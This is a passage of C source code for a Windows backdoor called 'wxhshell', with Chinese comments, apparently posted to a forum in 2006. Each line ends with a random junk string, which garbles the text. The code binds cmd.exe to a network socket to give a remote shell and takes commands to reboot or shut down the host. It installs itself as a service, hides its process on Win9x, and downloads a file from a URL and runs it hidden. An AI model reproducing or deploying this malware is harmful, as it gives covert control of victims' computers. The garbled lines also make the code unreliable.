  6&Juv  
  // 帮助 5m:i6,4  
  case '?': { RyB~Lm`ZK%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X;F?:Iw\  
    break; dUznxZB  
  } V}o n|A  
  // 安装 39F O f  
  case 'i': { ^taBG3P  
    if(Install()) |IoB?^_h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); juF{}J2  
    else |]Z:&[D]i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I V%VU  
    break; j/T>2|dA&  
    } %n%xR%|  
  // 卸载 PfS:AI y  
  case 'r': { 2jsw"aHW  
    if(Uninstall()) 9z;HsUv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd7_~.Bo  
    else d%I" /8-J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uawpfgc}  
    break; "N:XzG  
    } lJP1XzN_  
  // 显示 wxhshell 所在路径 8 #X5K  
  case 'p': { WnUweSdW  
    char svExeFile[MAX_PATH]; aq+Y7IR_  
    strcpy(svExeFile,"\n\r"); "jecsqCgK0  
      strcat(svExeFile,ExeFile); :f5s4N  
        send(wsh,svExeFile,strlen(svExeFile),0); &0TVi  
    break; :M{Y,~cP  
    } qzw'zV  
  // 重启 iGDLZE+?  
  case 'b': { cH-@V<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]{ BE r*  
    if(Boot(REBOOT)) 0,s$T2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bb42v7?  
    else { b?4/#&z]  
    closesocket(wsh); M}_ i52  
    ExitThread(0); jJ4qR:]  
    } g>d;|sK  
    break;  HBys  
    } LIU} a5  
  // 关机 ki0V8]HP  
  case 'd': { MF6 0-VE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _mS!XF~`P  
    if(Boot(SHUTDOWN)) `s '#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&5%?QyM  
    else { be5,U\&z  
    closesocket(wsh); {u!)y?}I-  
    ExitThread(0); &~UJf4b|A  
    } OX%MP!#KU  
    break; yq_LW>|Z  
    } p2J|Hl|  
  // 获取shell UY2X  
  case 's': { $wYtyN[  
    CmdShell(wsh); {Y}dv`G#Iu  
    closesocket(wsh); aw ?=hXR!  
    ExitThread(0); =z{JgD/  
    break; +5.t. d  
  } ri C[lB  
  // 退出 N4;7gSc"  
  case 'x': { ! / y!QXj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @`-[;?>  
    CloseIt(wsh); 6OiSK@<Hk  
    break; [U#72+K  
    } T&T/C@z'R  
  // 离开 FLoNE>q  
  case 'q': { /!}'t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >U1R.B7f  
    closesocket(wsh); H* ,,^  
    WSACleanup();  Pi%%z  
    exit(1); B,z<%DAE  
    break; >vrxP8_  
        } s%iOUL2/  
  } } B396X  
  } '^%~JyU  
)CI1;  
  // 提示信息 ~9F,%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4E8JT#&  
} Xd:7"/:r  
  } VN4yn| f/  
!@u>A_  
  return; 30PZ{c&Rll  
} 1tCQpf  
H7+X&#s%  
// shell模块句柄 E^_w I>  
int CmdShell(SOCKET sock) {Z;jhR,  
{ x# ~ x;)  
STARTUPINFO si; &X9Z W$C  
ZeroMemory(&si,sizeof(si)); e98lhu"|H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V&soN:HS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .%'(9E  
PROCESS_INFORMATION ProcessInfo; ES<1tG  
char cmdline[]="cmd"; GN#<yv$av  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `"iY*  
  return 0; Q@e[5RA +]  
} Mcw4!{l`  
c4e_6=Iv  
// 自身启动模式 -K(fh#<6KO  
int StartFromService(void) K|C^l;M6  
{ $@\mpwANl  
typedef struct yix'rA-T  
{ : "6q,W  
  DWORD ExitStatus; Nf+b" &Zh`  
  DWORD PebBaseAddress; 4fh^[\  
  DWORD AffinityMask; 0s#vwK13  
  DWORD BasePriority; !>x|7   
  ULONG UniqueProcessId; lX:|iB  
  ULONG InheritedFromUniqueProcessId; OE)~yKy  
}   PROCESS_BASIC_INFORMATION; ?EMK8;  
bG&"9b_c  
PROCNTQSIP NtQueryInformationProcess; }14 {2=!Q  
%I!:ITa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < `qRA]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UX`]k{Mz  
c~A4gtB=  
  HANDLE             hProcess; "HD+rmUEH  
  PROCESS_BASIC_INFORMATION pbi; sDqe(x}a  
{qKxz9.y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eRbGZYrJ  
  if(NULL == hInst ) return 0; ^n#1<K[E  
]!:oYAm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s/"&9F3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zn:R PMk*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y`e4;*1  
D+V7hpH-  
  if (!NtQueryInformationProcess) return 0; Mv|ykJoz"  
})vOaYT|-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gy1xG.yM~  
  if(!hProcess) return 0; u^I(Ny  
RO\gax  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R8*Q$rH<  
3 <|`0pt}  
  CloseHandle(hProcess); /|{,sWf2  
AJt!!crs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `\=Gp'&Q+  
if(hProcess==NULL) return 0; NIZ<0I*5  
4!$ M q;U  
HMODULE hMod; -7WW[ w  
char procName[255]; 78n=nHS  
unsigned long cbNeeded; 2^~<("+w  
(-7ZI"Ku  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  R7oj#  
%v5R#14[n  
  CloseHandle(hProcess); jD) {I  
e"-X U@`k1  
if(strstr(procName,"services")) return 1; // 以服务启动 W [[oSqp  
gOT+%Ab{_  
  return 0; // 注册表启动 )/4(e?%=  
} | sqZ$Mu  
R~L0{` 0  
// 主模块 tc_f;S`k  
int StartWxhshell(LPSTR lpCmdLine) p\wJD1s  
{ lM\LN^f5*  
  SOCKET wsl; zHB_{(o7  
BOOL val=TRUE; f<i7@%  
  int port=0; Rg29  
  struct sockaddr_in door; PZ:u_*Vu`  
1`f_P$&Z_J  
  if(wscfg.ws_autoins) Install(); si1*Wt<3Bc  
L^kp8o^$  
port=atoi(lpCmdLine); TL= YQA  
RKd  
if(port<=0) port=wscfg.ws_port; ydl jw  
4kp im  
  WSADATA data; ?{o/I\\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [~5p>'  
maMHZ\ Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {hSGv   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nR \'[~+  
  door.sin_family = AF_INET; ${~|+zdB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Itm8b4e9;  
  door.sin_port = htons(port); &0N<ofYX  
~+D*:7Y_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E ?2O(  
closesocket(wsl); rt]S\  
return 1; oqkVYlE  
} a<XCNTaVT  
=<f-ob8,  
  if(listen(wsl,2) == INVALID_SOCKET) { jdut4 nFc  
closesocket(wsl); `Y?t@dd  
return 1; hVoNw6fE  
}  R)Q 4  
  Wxhshell(wsl); 9V1cdb~?"T  
  WSACleanup(); P=AS>N^yaL  
O[~x_xeW  
return 0; S{F-ttS"  
4Tzd; P6_  
} 3{raKM6F  
!&kL9A).  
// 以NT服务方式启动 (Ha@s^?.C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UyYfpL"$A"  
{ _cJ[ FP1  
DWORD   status = 0; "vF MSY  
  DWORD   specificError = 0xfffffff; 3EFD%9n  
m/&i9A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4\X||5.c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vvu<:16  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2f,B$-#  
  serviceStatus.dwWin32ExitCode     = 0; -xmf'c9P  
  serviceStatus.dwServiceSpecificExitCode = 0; 4 k}e28  
  serviceStatus.dwCheckPoint       = 0; Q}%tt=KD  
  serviceStatus.dwWaitHint       = 0; Hy; Hs#  
Y8s;w!/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  {E9v`u\  
  if (hServiceStatusHandle==0) return; BW[5o3 i  
=y ]Jl,_.  
status = GetLastError(); 9 wa,k  
  if (status!=NO_ERROR) q1Qje%9@t  
{ }amU[U,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bl.u=I:Y4  
    serviceStatus.dwCheckPoint       = 0; d{+(Lpj^  
    serviceStatus.dwWaitHint       = 0; =6nD0i 9+  
    serviceStatus.dwWin32ExitCode     = status; PB'0?b}fab  
    serviceStatus.dwServiceSpecificExitCode = specificError; kN9yO5 h7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sLh0&R7   
    return; [5ethM  
  } /F[+13C  
<zB*'m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c,5n, i  
  serviceStatus.dwCheckPoint       = 0; AY2:[ 5cm  
  serviceStatus.dwWaitHint       = 0; 8:;#,Urr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bt~s*{3$8  
} =v-2@=NJ`K  
y0q#R.TOm  
// 处理NT服务事件,比如:启动、停止 GG-[`!>.pw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 83;IyvbL  
{ iLq#\8t^  
switch(fdwControl) Q |hm1q  
{ (i`(>I.(/  
case SERVICE_CONTROL_STOP: hb^!LtF#Y  
  serviceStatus.dwWin32ExitCode = 0; q(]f]Vl|0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -WR}m6yMr  
  serviceStatus.dwCheckPoint   = 0; TQ9'76INb  
  serviceStatus.dwWaitHint     = 0; D[Iq n  
  { IsYP0(L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7Ij4  
  } 5{l1A (b  
  return; }=GM ?,7b  
case SERVICE_CONTROL_PAUSE: Aka^e\Y@6*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !oMt_k X  
  break; P#tvm,  
case SERVICE_CONTROL_CONTINUE: R{3CW^1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vA?_-.J  
  break; l1-HO  
case SERVICE_CONTROL_INTERROGATE: 7kz-V.  
  break; 'U)8rR  
}; !IA KVQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h5onRa *7  
} *8\(FVyG^  
-<oZ)OfU  
// 标准应用程序主函数 o/JPYBhdl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :XS"# ^aJ  
{ epVH.u%  
zqGYOm$r  
// 获取操作系统版本 u%opY<h  
OsIsNt=GetOsVer(); G[6=u|(M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QkX@QQ T?  
|R~;&x:  
  // 从命令行安装 ay[+2"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^Kw(& v  
3wNN<R  
  // 下载执行文件 ~ &~C#yjg1  
if(wscfg.ws_downexe) { Yq;&F0paK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a;p6?kv  
  WinExec(wscfg.ws_filenam,SW_HIDE); |Ow$n  
} }#YQg0(  
`Kp}s<  
if(!OsIsNt) { rk|a'&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~~dfpW_"  
HideProc(); w:R]!e_6\9  
StartWxhshell(lpCmdLine); N7B}O*;  
} YPQCOG  
else L&HzN{K  
  if(StartFromService()) =+Tsknq  
  // 以服务方式启动 K z^hQd  
  StartServiceCtrlDispatcher(DispatchTable); %0(>!SY  
else !L$oAqW  
  // 普通方式启动 =0Y'f](2eW  
  StartWxhshell(lpCmdLine); <w11nB)  
~$ WQ"~z  
return 0; \]GGVI ;u  
}
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只看该作者 1 发表于: 2006-10-10
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